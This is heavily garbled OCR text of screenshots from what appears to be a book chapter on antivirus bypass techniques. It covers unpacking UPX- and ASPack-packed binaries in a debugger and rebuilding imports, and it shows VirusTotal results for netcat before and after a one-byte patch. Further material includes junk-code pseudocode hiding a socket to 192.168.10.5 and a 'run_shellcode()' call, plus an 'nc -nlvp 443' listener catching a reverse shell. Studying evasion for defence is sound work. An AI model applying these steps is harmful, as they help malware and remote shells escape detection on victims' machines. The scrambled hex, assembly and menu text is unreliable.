& cru ® Graph | Log 1) Notes ® Breakpoints ®8 Memory Map [} call Stack &3 SEH L] Script
Address |size Info content Type |Protection |Initial
002C0000| 00001000 | al-khaser_packed. exe IMG | -R--- ERWC-
002C1000 0001BO0O| "uUPX0" IMG | ERW-- ERWC-

00012000| “upx1l"” Follow in Disassembler IMG ERWC- ERWC-
002EEO000| 00001000 ".rsrc” S IMG -RW-- ERWC-
006E0000| 00010000 WU Follow in Dump MAP -RwW-- -RwW--
006F0000| 00004000 - MAP -R--- -R---
006F4000 | 00004000 |Reserved # Dump Memory to File MAP -R---
00710000| 0001B000 MAP -R--- -R---
00730000 | 00035000 | Reserved &< Comment H PRV -RW--
00765000| 0000B0O00O o PRV -RW-G -RwW--
00770000 | 00004000 2l Find Pattern... Ctrl+8 MAP |-R--- Spaas
00780000| 00001000 s ” : MAP -R--- -R---
00790000 | 00002000 B S Vv PRV | -RW-- -RW--
007A0000| 00035000 | Reserved PRV -RwW--
007D5000| 00008000 ®  Allocate memory PRV |-RW-G —RW--
00800000 | 0005F000 | Reserved - PRV -RwW--
0085F000 | 0000EO0O = Free memory PRV -RW-- -RwW--
0086D000 | 00193000 | Reserved > PRV -RwW--
00A00000 | 000F9000 | Reserved &5 Goto PRV -RW--
00AF9000 | 00007000 | Thread 16 PRV -RW-G -RW--
00800000 | 00035000 | Reserved -‘, Set Page Memory Rights PRV -RwW--
00835000| 00008000 PRV -RW-G -RW--
00840000 | 00035000 Reserved . PRV -RwW--
00875000 | 00008000 @  Memory Breakpoint v PRV |-RW-G -RW--
00880000| 00007000 PRV -RW-- -RwW--
00887000 00009000 | Reserved | Copy » PRV -RW--
00890000 | 000C7000 | \Device\H - MAP -R--- -R---
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Binary
Copy
Follow in Memory Map

Follow in Disassembler

»

»

# Set Label
/" Modify Value Space
@  Breakpoint @ Hardware, Access  » e Byte
/o) Find Pattern... Ctrl+B @, Hardware, Write » e, Word
[ +
2 Find References Ctrl+R % Hardwarel Execute .D Dword
Sync with expression
ol i ", Memory, Access 4
& watch DWORD
"®  Memory, Read 4
®  Allocate Memory
'l/ Memory, Write »
& Goto 3
"%, Memory, Execute »
= ™ Hex 4
A: Text L4
UPXL: m Integer y 12D170 #11570 <EntryPoint>
., Float 3
UL @ Address g%y Dump 4 g% Dump 5 & watch 1
Addre @ Disassembly ASCIT
002C1 00 00 00|00 00 00 00| ...covvvunnnnnnn
NNAY-A1TNINITNAN NN NN NNITNAN NN NN NNiNnNn NN NN NNnilNnn NN NN NN
Wbumpl  @yDump2  @YDump3  @WDump4 @ Dump5S & watch1
Address |Hex ASCII
00401000|83 EC 1C 8B |44 24 20 88|00 88 00 3D|91 00 00 cO|.1..D% ....=...
00401010(76 2E 3D 94|00 00 CO OF |84 D7 00 00|00 3D 96 00|v.= e 0
00401020|00 €O 74 63|3D 93 00 00(CO OF 84 91|00 00 00 31].Atc=...A...... 1
00401030|C0O 83 c4 1C|C2 04 00 8D|B4 26 00 00|00 00 66 90|A.A.A... &....f.
00401040|3D 8D 00 00(CO 73 79 3D|05 00 00 CO|(75 32 C7 44|=...Asy=...Au2CD
00401050|24 04 00 00|00 00 €7 04|24 0B 00 00|00 E8 02 00|S.....C.$....e..
00401060|2A 84 83 F8|01 OF 84 EF |00 00 00 85(C0 74 €O C7|*..0...7....AtAC
00401070(04 24 0B 00|00 00 FF DO|B8 FF FF FF|FF EB B2 90|.S....yD, yyyye=.
00401080|3D 1D 00 00|CO 75 A8 C7|44 24 04 00(00 00 00 C7|=...Au CDS..... G
00401090(04 24 04 00|00 00 E8 02|00 2A 84 83|F8 01 OF 84|.%....e..%..0...
004010A0(D2 00 00 00|85 CcO 74 87|C7 04 24 04|00 00 00 FF 0.:,_,‘At,.(;.$....y




Bcru @ocraph  [Glog [ Notes  ® Breakpoints ™ MemoryMap () CallStack &2 SEH  [o] Script @& Symbols <> Source = £ References ‘¥ Threads
L]

04020A1 89CD mov ebp,ecx
[OUZUZ0A3 57 W!H"E§1
004020A4 56 push esi
004020A5 8906 mov esi,edx
004020A7 53 push ebx
004020A8 83EC 3C sub esp,3
004020AB OFBE18 movsx ebx ,byte ptr ds:[eax]
004020AE 89DF mov edi, ebx edi:EntryPoint
00402080 83FB 2D cmp ebx 2D:"'-"
00402083| v OF84 DA00000O je packed 402193
00402089 89C1 mov ecx, eax
00402088 83FB 5D cmp ebx, 5Dz
004020BE| ~ OF84 CF000000 je packed 40219
004020c4 896C24 28 mov dword ptr ss [esp+28],ebp
004020c8 81E5 00400000 and ebp,4000
004020CE 897424 1C mov dword ptr ss: [esp+1c],es1 esi:EntryPoint
00402002 896C24 20 mov dword ptr ss:[esp+20],ebp
00402006 ~ EB 17 ;'-p packed. 4020EF
00402008 8DB426 00000000 ea esi,dword ptr ds:[esi] esi:EntryPoint
004020DF 90
004020€E0 89FB llov ebx, edi edi:EntryPoint
004020E2 2B5C24 1C sub ebx,dword ptr ss:[esp+1c]
004020E6 8508 test ebx,ebx
004020E8| v 74 67 je packed 402151
004020EA 89E8 mov eax,ebp
004020€C OFBED8 movsx ebx al
004020EF 8071 01 Tea esi dword ptr ds:[ecx+1] esi:EntryPoint
004020F2 83FB 5D cmp eb 5D
004020F5| ~ OF84 C6000000 je packed 4021c1
004020FB 83FB 2D ebx, 2D 2p:'-"
004020FE| ~ OF84 AC000000 je packed 402180
00402104 85D8 test ebx,ebx
00402106 ~ OF84 B5000000 je packed 4021c1
0040210C 83FB 2F ebx, 2F:'/"
0040210F| ~ OF84 AC000000 je packed 4021c1
00402115 83FB 5C ebx, 5C sc:\\'
00402118| - OF84 A3000000 je packed 4021c1 -
00401338 | mov !m)r! ptr ss: espl pac!e! 405000 | !gcc !WZ— !l |
00401346 | mov dword ptr ss:[esp],packed.405000 "'I1bgcc_ _dw2-1.d11"
00401361 |mov dword ptr ss: e5p+45, packed. 405013 __register frame_urﬁ)
00401376 |mov dword ptr ss:[esp+d4],packed. 405029 _deregister_frame_info”
004018C0 | mov eax,dword ptr ds: [404010] "D<@
00401802 |mov eax,dword ptr ds:[404010] D@
00401800 | mov dword ptr ds:[404010],edx D@
00401ceS |mov dword ptr ss:[esp],packed.4051D0 "Mingw runtime failure:\n"
00401DF0|mov dword ptr ss:[esp],packed.4051E8 » virtualquery failed for %d bytes at address %p”
00401EF9 | mov dword ptr ss:[esp],packed.405250 " unknown pseudo relocation bit size %d.\n"
00401FCE |mov dword ptr ss:[esp],packed.40521c " unknown pseudo relocation protocol version %d.\n"
0040300E | cmp dword ptr ds:[esi],packed.40527E "glob-1.0-mingw32"
00403010 |mov dword ptr ds:[esi],packed.40527E "glob-1. 0-mingw32"

004030DA cmi dword i‘tr ds: [esi .iacked.40527E "[.z'lob—l.o—mininZ"



B scvila x86 v09.8 — X

File Imports Trace Misc Help

Attach to an active process

0008 - Packed.exe - C:\Users\Terminator\Desktop\Packed.exe w Pick DLL

Imports

-+ kernel32.dll (18) FThunk: 00008170

-- # msvert.dll (32) FThunk: 000081BC

-- ¥ libgee_s_dw2-1.dll (2) FThunk: 00008244
G- libstdc++6.dll (5) FThunk: 00008250

| Show Invalid | | Show Suspect | Clear
IAT Info Actions Dump
00402040
OFP | | IAT Autosearch Autotrace Dump PE Rebuild
VA | 00408170 |
Get Imports Fix D
Size | 000000F4 | P & Lamp
Log
Generating PE header checksum ~

Rebuild success C:\Users\Terminator\Desktop\1_SCY.exe

-> 0ld file size 0x0000B400 new file size 0x0000B400 (100 %)
Generating PE header checksum

Rebuild success C:\Users\Terminator\Desktop\l.exe

- Old file size 0x0000E000 new file size 0x0000AC00 (76 %)

Impaorts: 57 + Invalid: 0 Imagebase: 00400000 Packed.exe



e =

push
mov
and
sub
call
mov
mov
mov
call
mov
call
Xor
leave
retn

; Attributes: bp-based frame

sub_483BCO proc near

ebp

ebp, esp

esp, OFFFFFFF@h

esp, 10h

sub_401950

dword ptr [esp+8], @Ch

dword ptr [esp+4], offset aHelloWorld ; "Hello world!™
dword ptr [esp], offset 7Stdcout
_75t16__ostream_insertIcStlichar_traitsIcEERSt13basic_ostreamIT _TO_ES6_PKS3 i
dword ptr [esp], offset 7Stdcout
_7StdendlIcStlichar_traitsIcEERStl13basic_ostreamIT _TO ES6
eax, eax

sub_483BCA endp

File name: C:/Users/Terminator/Desktop/Hello World.exe

Size: = 16384 Entropy H

Import PE

EntryPoint: 0000b001 > ImageBase: 00400000

NumberOfSections: ' 000a > SizeOfImage: 0000e000

packer ASPack(2.12-2.42)[-] S ?
Gy unknown(2.32)[EXE32,console] S

Options

Detect It Easy v  Signatures About

>
Exit




General  DOSHdr  FileHdr  Optional Hdr ~ Section Hdrs B Imports B TLS

+“ 4+ B
Offset Name Func.Count Bound? OriginalFirstT TimeDateStai Forwarder NameRVA  FirstThunk
3E20 kernel32.dll 3 FALSE 0 0 0 BFEO BFDO
3E34 msvcrt.dil 1 FALSE 0 0 0 C098 CoD1
3E48 msvert.dil 1 FALSE 0 0 0 COA3 CoD9
3ES5C libgcc_s_dw... 1 FALSE 0 0 0 COAE COE1
3E70 libstdc++-6.... 1 FALSE 0 0 0 CcocC1 COE9
4
kernel32.dll [ 3 entries ]
Call via Name Ordinal Original Thun Thunk Forwarder Hint
BFDO GetProcAd... - - BFED - 0
BFD4 GetModule... - < BFFE < 0
BFD8 LoadLibraryA - - co11 - 0
EIP ECX EDX ESI EDI
L EE 03000000 ca ello world. 40B00A
o ~ E9 EBO45D45 jmp 459DB4F7
L] 55 push ebp
» c3 ret
L] EE 01000000 call hello world. 408014
®| ~ EB 5D jmp hello world.408072
. BB EDFFFFFF mov ebx,FFFFFFED
L] 03DD add ebx,ebp
. 81Es 00BOOOOO sub ebx,B000
L] 838D A0040000 00 cmp dword ptr ss:|[[ebp+4a0],0
. 899D A0040000 mov dword ptr ss:[ebp+4a0],ebx
P . ~ OF85% E3030000 jne hello world. 408418
i . BD85 AC040000 ea eax,dword ptr ss:[ebp+4ac]
! . 50 push eax
! [ FF95 C10F0000 €all dword ptr ss:[ebp+FCl]
g » 8985 A4040000 mov dword ptr ss:[ebp+4a4],eax
0 ] 8BFO mov esi,eax esi:EntryPoint
i L] 8D7D 51 lea edi,dword ptr ss:[ebp+51] edi :EntryPoint
|- ] 57 push edi edi :EntryPoint
i L4 56 push esi esi:EntryPoint
0 f L] FF95 BDOFO000 €all dword ptr ss:[ebp+FED]
N [ ] AB stosd
Vol [ ] BO 00 mov al,0
L oe AE scash
bi—-ef -~ 75 FD jne hello world. 4080358
1 L] 3807 cmp byte ptr ds:[edi],al edi :EntryPoint
i Bososes e -~ 75 EE jne hello world.40804D
] [ ] 8D45 7A ea eax,dword ptr ss:[ebp+7a]
i #| ~ FFEO jmp eax




Woumpl  @oump2 @M oump3 @M Dump4 W oumpS @ Watch1 Il locals 2 Struct

76F110A0(1A 00 1C 00
76F11080(20 00 22 00
76F110Cc0(2C 00 2E 00[2C

command: |bp Virtualdlloc

6|18 00 1A 00|B4 D
30 00 32 00(5C D
6120 00 22 00(08 D8

to) Io2) (=) [

3

76F11000 C0 88 F1 76|14 00 16 00|38 84 F1 7
76F11010(00 00 02 00|80 58 F1 76|0E 00 10 00|EQ_8D FL 76|..... i
76F11020|0C 00 OE 00|DO_8D F1 76|06 00 08 00 |BO 8D FL 76....D.fAV.... .Av
76F11030(06 00 08 00 [CO 8D F1 76|06 00 08 00 (B8 8D F1 76|....A.fv.... .Av
76F11040|06 00 08 00|C8 8D F1 76|08 00 0A 00|70 83 F1 76|....E.fAV....p.fAv
76F11050|1C 00 1E 00|6C_84 F1 76|2A 00 2C 00 |CA_8C FL 76|....1.Av*.,.A.fiv
76F11060(08 00 0A 00 (D8 88 _F1 76|02 00 04 00(98 8D F1 76|....0.AV......AV
76F11070| 08_00 0A 00|A4 D7 F1 76|18 00 1A 00|50 84 F1 7 mxAv. . . .P. AV
76F11080|1C 00 1E 00|70 DI F1 76|28 00 2A 00|44 D9 F1 76|....pURv(. *.DUAV
76F11090|34 00 36 00|0C_DI F1 76|1E 00 20 00 |EC_D8 _FL 76|4.6..Ufv.. .i@fv
TR - 100

7 e

& Elis

=,
=)
=) =)
(=]
W i | A A

By @oaph  [Flog  [1 Notes ® Breakpoints ™8 Memory Map Call Stack &2 SEH  [of Script @] Symbols <> Source /2 References ' Threads = %/ Snowman B Handles

o] 6A 00 ush 0 i

Ll FF33 51 h dword ptr ss:[lebp+51] call to virtualalloc - 00020000 AH KD FR

° mov dword ptr ss:[[ebp+154],eax EAX 00030000

@ Breakpoint Not Set mov eax,dword ptr ds:[esi+d] . EBX  0040703C hello world.0040703C

o add eax,10E ECX  BCFA0000

of - OF84 B7000000 je RE'I'IQ world. 408198 EDX 00030000

| 6a 04 push 4 EBP 00408013 hello world.00408013

: ‘;’8 oo B:Zn 122” ESP  Q06OFF54 <&ENtryPoint>

ol 6A 00 h ESI  0040B5F0 hello world.004085F0

o FE55 51 dword ptr ss:[[ebp+51 call to virtualalloc - 00030000 EDI  0040B0BC helllciwogliln030803s
B—— |

°| EIP  0040BOEE hello world. 0040BOEE




[Poooronoosoo0| prosooooooog]

i
*

L

2980800000000 0000008008

i
'

*8

XXX}

8BCE

83E1 03

F3:n4

5E

68 00800000
ea 00

FFBS 50010000
FF55 5E

83C6 0OC

833E 00

0OF85 2FFFFFFF
68 00800000
6a 00

FFB5 54010000
FF55 5E

869D ADO50000
OBDB
74 14
2B9D
039D
8BB5
8903
8695
8BBS
2BD0
74 79
8BC2
C1EB 10

33DB

8BB5 EB5050000

AS050000
AQ040000
B1050000

AQ040000
A9050000

.aspack:0040B17E hello world. exe:$B17E #2F7E

mov ecx,eax
and ecx,3
rep movsh
pop esi
push 8000

Iebp+15

push O
ush dword ptr ss:
% dword ptr ss:[ebp+5E
a
cmp dword ptr ds:[esi],0
jne hello world.4080D3
push 0
ush dword ptr ss:
mov ebx,dword ptr ss:[ebp+5AD]
or ebx,ebx

esi,C
push 8000
ebp+154
dword ptr ss: Ebﬁ+5E
je hello world.4081D2

sub ebx,dword ptr ss:[ebp+5a
add ebx,dword ptr ss:[ebp+4a
mov eax,dword ptr ss:[ebp+5B1
mov dword ptr ds:[ebx],eax
mov edx,dword ptr ss:[ebp+4a
mov eax,dword ptr ss:[ebp+5A
sub edx,eax

je hello world.40B25B
mov eax,edx
shr eax,10
xor ebx,ebx

mov es5i,dword ptr ss:lebp+5650

iy Dump 1

00401000
00401010
00401020
00401030
00401040
00401050
00401060
00401070
00401080
00401090
00401040
00401080
004010C0O

Dump 2

@l pump 3

] Dump 4

4 Dump 5 Watch 1

00 00 COLN..DS% ....=

3D 96 00|v.=...A..x...=..
00 00 31|.Atc=...A...... 1
00 66 90 A A.A... & ...T.
32 C7 44 |=...Asy=...Au2CD
EB 26 2A|%..... GC.$....88%
74 €0 c7 g.a...i'....AtA(;
EBE B2 90 cea L YD YYYYES,
00 00 C7|= ..AuyDD$ ..... (o
01 OF 84|.5%5....81)...0...
00 00 FF|D....AT.C.5....¥
26 00 90D yyyyevyyy. t&..
00 00 EB|CDS..... C.5. e

[x=] Locals



00010000
00020000
00040000
00060000
00095000
000A0000
00080000
000E0000
000EE000
00200000
00252000
00260000
00400000

00404000
00405000
00406000
00407000
00408000
00409000
0040A000
00408000
00400000
00410000
00608000
00610000
006E0000
00715000
00720000
00755000
00760000
00767000
00770000
0096000
00970000
00B6C000
00870000
00BA5000
00880000

ANRnAnNANAN

00010000
00002000
00018000
00035000
00008000
00004000
00002000
0000E000
000F2000
00052000
0000E000
001A0000
00001000

00001000
00001000
00001000
00001000
00001000
00001000
00001000
00002000
00001000
001FB000
00005000
000C7000
00035000
00008000
00035000
00008000
00007000
00009000
001FC000
00004000
001FC000
00004000
00035000
00008000
001FD000

alatalate Tatatyl

Reserved

Reserved (000E0000)
Reserved

Reserved (00200000)
hello world. exe

.data
.rdata"

Blob

Follow in Disassembler

'.eh_fram"
".bss"

.idata"

.CRT"

SElst
.aspack”
.adata"
Reserved
Thread 10D8 sta
\Device\Harddis
Reserved

& v O & B B

Reserved

Reserved (00760
Reserved

Thread 16D8 Sta
Reserved

Thread 14F8 sta @
Reserved

d & .08

Reserved 0

Follow in Dump
Dump Memory to File
Comment

Find Pattern...
Switch View

Allocate memory
Free memory
Go to

Set Page Memory Rights

Memory Breakpoint

Copy

Ctrl+8

Thouand anr reanl

ta
ialized data

data

torage

MAP
PRV
MAP
PRV
PRV
MAP
PRV
PRV
PRV
PRV
PRV
PRV
IMG

-RW--
-RW--
R

-RW-G
-R---
-RW--
-RW--

-RW--
SR

~RWC-
-RW--
—-RW--
-RW--
-RWC-
-RWC-
-RWC-
ERW--
ERWC-

-RW-G
S paE.

-RW-G
-RW-G
-RW--
-RW-G
-RW-G

-RW-G

LI

-RW--
-RW--
R
-RW--
-RW--
SR—=
-RW--
-RW--
-RW--
-RW--
-RW--
-RW--
ERWC-

ERWC-
ERWC-
ERWC-
ERWC-
ERWC-
ERWC-
ERWC-
ERWC-
ERWC-
-RW--
-RW--
R
-RW--
-RW--
-RW--
-RW--
-RW--
-RW--
-RW--
-RW--
-RW--
-RW--
-RW--
-RW--
-RW--



B scviia x86 v09.8 — X
File Imports Trace Misc Help

Attach to an active process

0480 - Hello World.exe - C:\Users\Terminator\Desktop\Hello World.exe e Pick DLL

Imports

-+ kernel32.dll (18) FThunk: 00008170
--v" msvert.dll (32) FThunk: 000081BC

--wf libgee_s dw2-1.dll (2) FThunk: 00008244
-+ libstdc++6.dll (5) FThunk: 00008250

| Show Tnvalid | | Show Suspect | Clear
IAT Info Actions Dump
004011A0
OEP | | IAT Autosearch Autotrace Dump PE Rebuild
VA | 00408170 |
Get Imports Fix D
Size | 000000F4 | P o Lamp
Log
IAT Search Adv: Found 53 (0x35) possible IAT entries. ~

IAT Search Adv: Possible TAT first 00408170 last 00408260 entry.

IAT Search Adv: IAT VA 00408170 RVA 00008170 Size Ox00F4 (244)
IAT Search Nor: IAT VA 0040816C RVA 0000816C Size Ox00FS (248)
IAT parsing finished, found 57 valid APIs, missed 0 APIs

DIRECT IMPORTS - Found 0 possible direct imports with 0 unigue APIS!

Imports: 57 + Invalid: 0 Imagebase: 00400000 Hello World.exe

Hello C:\Users\Terminator\Desktop>"Hello World Dumped SCY.exe"

World_Dump |Hello world!
ed_SCY.exe

C:\Users\Terminator\Desktop>




() No engines detected this file Cr by o= v

f1e3d8851c7b41e38382ae69a95224c92abd9a33117238ef9730233b5b 14cdc2 925 50 KB 2020-04-23 17:39:08 UTC %L
\Users\Pefra\AppData\Roaming\Mi Wi Start Menu\Programs\Startup int exe Size 1 manth ago EXE
B4bils assembly peexe
Community
Score
. --p
(1) 4engines detected this file o B
5981cecbeaa?97060c0d54e1d34f0e375¢cabbéb05aedc094741178c769dddacs 365.00 KB 2020-06-28 08:24:23 UTC %
MSPAINT Size 5 months ago EXE
?

4bits peexe
% Community [
Score

DETECTION ~ DETALS coMmunTY @

SecureAge APEX @ Malicious CrowdStrike Falcon @ Win/malicious_confidence_90% (W)

Cybereason (O Malicious.a8eecd FireEye (D) Generic.mg.4d49d886fed7f023



Chapter 6: Other Antivirus Bypass Techniques

PUSH

C Code

Compiler

Assembly Code

A

Machine Code

Disassembler

Data Element 5

Data Element §

Data Element 4

Data Element 4

Data Element 3

Data Element 3

Data Element 2

Data Element 2

Data Element 1

Data Element 1

Stack

Stack

POP



64 bits

RAX

D:\Documents\The Art of Antivirus Bypass\Assembly

D:\Documents\The Art of Antivirus Bypass\Assembly

D:\Documents\The Art of Antivirus Bypass\Assembly
Hello World!

-;x GUI Turbo Assembler x64 Version 3.0.1

File Edit Option Window Help
Iﬂ w m 45 Assemble [Alk+A] by
XOR.3sm &  Build [Alt+B]

21 £ Run [Al+R]

22 Accornblo 8 Build [ES]

23 Assemble, Build & Run  [F9] |

25

26

27 | start:

28 mov ax, @data

29 mowv d ax

30 mowv data

31 mowv bl

32 call encrypt

= call decrypt

34

S5

36 | exit:

37 mov ah, 4ch

38 int Z21h

Sl

32 bits EAX

16 bits AX

8 bits AH

AL

Examples\Hello Worldjnasm -fwin32 Hello World.asm

Examples\Hello Worldigcc Hello World.obj -o Hello World.exe

Examples\Hello World>Hello World.exe

| PPLI? £ KO s AFIOO0O




LR IRE- - X IEE'Y IWASE E &' Y- B .
@ Graph ,_;f Log _|-|_: Notes ® Breakpoints ## Memory Map |:| Call Stack =7 SEH l¢¥| Seript %1 Symbols
55 push ebp

004057B1 89E5 mov ebp,esp

00405783 83EC 18 sub esp,18

004057B6 8B45 UC MoV eax,dword ptr ss:[ebp+C]
004057B9 85C0 test eax,eax

004057BB 74 13 je nc.4057D0

004057BD 83F8 03 cmp eax, 3

004057c0 74 0QE je nc.4057D0

004057cC? B8 010000{mov eax,1

004057c¢C7 c9 Teave

004057cC8 c2 0co00 ret C

004057CB 90 nop

004057ccC 8D7426 00 lea esi,dword ptr ds:[esi]
004057D0 8855 10 |mov edx,dword ptr ss:[ebp+10]
004057D3 894424 04/mov dword ptr ss:[esp+4],eax
004057D7 895424 08 mov dword ptr ss:[esp+8],edx
004057DB 8B45 08 |mov eax,dword ptr ss:[ebp+8]
004057DE 890424 mov dword ptr ss:[esp],eax
004057E1 E8 CA0600{call nc.405EBO

@ Graph | Log | 1 Notes ® Breakpoints [ Memory Map |:| Call Stack =7 SEH 1t3| Script ‘H Symbols
55 push_ebp

004057B1 89E5 mov ebp,esp

00405783 83EC 17 sub esp,17

004057B6 8B45 0C |mov eax,dword ptr ss:[ebp+C
00405789 85C0 test eax,eax

004057BB 74 13 je nc.4057D0

004057BD 83F8 03 |cmp eax,3

004057¢0 74 OE je nc.4057D0

004057cC2 B8 010000{mov eax,1

004057cC7 c9 Teave

004057cC8 c2 0co00 ret C

004057CB 90 nop

004057ccC 8D7426 00|lea esi,dword ptr ds:[esi]
004057D0 8B55 10 |mov edx,dword ptr ss:[ebp+10]
004057D3 894424 04|/mov dword ptr ss:[esp+4],eax
004057D7 895424 08 mov dword ptr ss:[esp+8],edx
004057DB 8B45 08 |mov eax,dword ptr ss:[ebp+8]
004057DE 890424 mov dword ptr ss:[esp],eax
004057E1 E8 CcA0600{call nc.405EBO

004057E6 B8 010000{mov eax,1




. Patches X

Modules Patches
nc.exe 01004057B5:18->17
Select All Deselect All Restore Selected
Import Export Pick Groups Patch File
(D) 34engines detected this file ¢ M
b3b207dfab2f429cc352ba125be32a0cae69fe4bf8563ab7d0128bbadc57a71c 35.67 KB 2020-12-22 19:53:114 UTC %
. nc.exe Size 3 daysago EXE
invalid-signature  overlay peexe revoked-cert signed  via-tor
x| Community & s
Score
DETECTION DETAILS RELATIONS BEHAVIOR coMMUNITY &P
Crowdsourced Sigma Rules @
[In CRTICALO HIGHO MEDIUM1 LOWO
A 1match for rule Suspicious File Characteristics Due to Missing Fields by Markus Neis, Sander Wiebing from Sigma Integrated Rule Set
“ (GitHub)
L Detects Executables without FileVersion, Description, Product,Company likely created with py2exe
Alibaba @ RiskWare:Win32/NetCat.cd122248 Antiy-AVL @ Trojan/Win32.SGeneric
Bkav () wazmalware.sigl CAT-QuickHeal (1) HackTool.Netcat.E1
Cylance (D Unsafe Cynet (D Malicious (score: 100)
Cyren (D) Wa2/5-d35e0370!Eldorado DrWeb (D) ToolNetcat.395
eGambit (D Generic.Malware ESET-NOD32 @ A Variant Of Win32/RemoteAdmin.NetCa...

FireEye (1) Generic.mg.e0dbid3d47e312ef Fortinet (D) Riskware/NetCat



@ 24 engines detected this file

614321808b4823183277cbOcccibaebf90eda7503b1bb7801078bf1ffefcc220

nc_nirexe

invalid-signature  overlay peexe  signed

?

X)) Community (L7
Score

DETECTION DETAILS BEHAVIOR coMmuniTY @

Crowdsourced Sigma Rules ©

lln CRMICALO HIGHO MEDIUM1 LOWO

35.67 KB 2020-06-03 08:35:38 UTC %
Size 6 months ago EXE

1 match for rule Suspicious File Characteristics Due to Missing Fields by Markus Neis, Sander Wiebing from Sigma Integrated Rule Set

“ (GitHub)

L Detects Executables without FileVersion,Description,Product,Company likely created with py2exe

Acronis @ Suspicious

Comodo @ ApplicUnsafWin32.RemoteAdmin.NetCat...
Cyren (1) W32/5-d35e0370!Eldorado

eGambit (D PEHeurInvalidSig

ESET-NOD32 @ A Variant Of Win32/RemoteAdmin.NetCa...
FireEye @ Generic.mg.8125537bbd8f1ds?

Jiangmin (D RemoteAdmin.NetCats

KIGW (D) Riskware ( 0040eff71)

CAT-QuickHeal (1) HackTool.Netcat.E1

Cylance (@ Unsafe

Driveb (1) Tool.Netcat.395

Endgame ® Malicious (high Confidence)

F-Prot @ W32/S-d35e0370!Eldorado

Ikarus (D PUANetcat

K7AntiVirus @ Riskware ( 0040eff71)

Kaspersky @ Not-a-virus:HEUR:NetTool Win32 NetCat....

W8 nc_before.exe Properties >
Security Details Previous Versions
General Compatibility Digttal Signatures

|nc_before.e:e

Type of file:  Application | exe)

Description:  nc_before exe

Location: C:\Users'nir\Desktopnetcat-1.11
Size: 35.6 KB (36,528 bytes)

Size ondisk:  36.0 KB (36,864 bytes)

Created: Tuesday, 9 June 2020, 11:19:16

Maodified: Sunday, 26 December 2010, 13:26:36
Accessed: Today, 9 June 2020, 4 minutes ago
Attributes: [[JReadonly []Hidden Advanced...
| OK || Cancel || Aesly

W8 nc_after.exe Properties >
Security Details Previous Versions
General Compatibility Digttal Signatures

|nc_aﬁer.exe

Type of file:  Application | exe)

Description:  nc_after exe

Location: C:\Users'nir\Desktopnetcat-1.11

Size: 35.6 KB (36,528 bytes)

Size ondisk:  36.0 KB (36,864 bytes)
ICreated: Wednesday, 20 November 1996, 16:55:55
Maodified: Sunday, 26 December 2010, 13:26:36

Accessed: Today, 9 June 2020, 1 minute ago

Attributes: [[JReadonly []Hidden Advanced...

| oK || Cancel || pply




IP_ADDR = 192.168.10.5
PORT = 1337

malicious_function(IP_ADDR, PORT)

open socket to IP_ADDR, PORT

IP_ADDR = 192.168.10.5
PORT = 1337
STRING = "Junk String"
STRING2 = "Junk String 2"
first_junk_function()
Junk Code
second_junk_function()
Junk Code
third_junk_function()

Junk Code

not_malicious_function(IP_ADDR, PORT)

number = 1@
mnumberz = 5
if number + number? == 15:
open socket to IP_ADDR, PORT

IP_ADDR = 192.168.10.5
PORT = 1337
malicious_function(IP_ADDR, PORT)

open socketto 192.168.10.5

IP_ADDR = 192.168.10.5
PORT = 1337
try:
LoadLibrary(mmmArsen.dll

except:

malicious_function(IP_ADDR, PORT)
open socket to 192.168.10.5

run_shellcode()




S SOPHOS Home

Threat Blocked

Troj/PSinject-T detected in C:\Users\nir\Desktop\PS.ps1

(7 Manage Close

N Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscoreb

PS C:\Users\nir> powershell /w 1 /C

root@kali: ~ 206x55




Yes

Is the file released and signed by a reputable company? (Microsoft, Google, Symantec, etc.)

Mo

Yes Mo
ML Score + 20 Is the file use a combination of Windows API Calls which can be malicious? o+
Yes
ML 5core + 20 . . No
: Is the file trying to persist on the system? 3
Yes
ML 5core + 20 No
Is the file opens any port? -
> The file is OK and can be run o’

ML 5core is 60

»| The file is malicious and can not be run

root@caliber:/mnt/c# nc -nlvp 4u3

Listening on 0.0.6.8 443

Connection received on 172.21.145.169 68768
Microsoft Windows [Version 16.6.19841.685]

(c) 2028 Microsoft Corporation. ALl rights reserved.

C:\>|




141c43e27faed47d23b2df1b97326b2fb63b6cbBbBF162176bBBS 282983058

(D) 9engines detected this file

. socket_example.exe
bdbits  assembly overlay peexe

% Community V’

Score

DETECTION DETAILS

BEHAVIOR

COMMUNITY

Antiy-AVL @ Trojan[PSWI/Python.Agent

Avast (D Win64:Trojan-gen

Cynet (D Malicious (score: 100)

Jiangmin (D) Trojan.PSW.Pythonz

Zillya @ Trojan.Disco.Script.104

Ad-Aware () Undetected

AhnLab-V3 (9 Undetected

ALYac (@) Undetected

Avira (no cloud) () Undstected

BitDefender @ Undetected

Bkav ) Undetected

ClamAv @ Undetected
Polymorphic Code Obfuscation

6.54 MB
Size

SecureAge APEX

AVG

Ikarus

Yandex

Acronis

AegisLab

Alibaba

Arcabit

Baidu

BitDefenderTheta

CAT-QuickHeal

CMC

o X

2020-12-19 16:35:30 UTC 2 &
1minute ago EXE
(D Malicious

(D winé4:Trojan-gen

(D) Trojan-SpyWin32.Cordimik

(D) Trojan.PWS.Agentim7rD41820UM
Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

®© © ® ® ©® ® ® 6

Undetected

!

Process Injection

!

GetTick Count

Antivirus DLL Hijacking
Vulnerability

v

.

Anti Debugging

The Antivirus Loads a Fake DLL

Encrypted Traffic

Fileless Malware

v

.

|

Junk Code

The DLL Cancels the Antivirus
Scanning Engine

|

> Real World Antivirus Bypass <




Mame Raw Addr. Raw size Virtual Addr. Virtual 5ize | Characteristics | Ptrto Reloc. | Num. of Reloc.  Mum. of Linenum.

¥ text 400 2E0D 1000 2C48 60500060 0 0 1]

» .data 3200 200 4000 18 C0300040 0 0 0

¥ .rdata 3400 600 5000 460 40300040 0 0 0

¥ .eh_fram 3A00 ADD 6000 OE4 40300040 0 1] 0

» .bss 0 0 7000 74 0300080 0 0 0

¥ .idata 4400 800 8000 760 C0300040 0 0 0

» J.CRT 4C00 200 9000 18 C0300040 0 0 1]

> s A4E0D 200 ADDD 20 C0300040 0 0 0

Mame Raw Addr, Rawsize Virtual Addr, Virtual 5ize  Characteristics  Ptrto Reloc.  Mum. of Reloc.  Mum. of Linenum.
text 400 2E00 1000 2048 EQOOD020 0 0 1]
.data 3200 200 4000 18 0300040 0 0 1]
rdata 3400 600 5000 460 40300040 0 0 ]
.eh_fram JA00 ADD 6000 9E4 40300040 0 0 1]
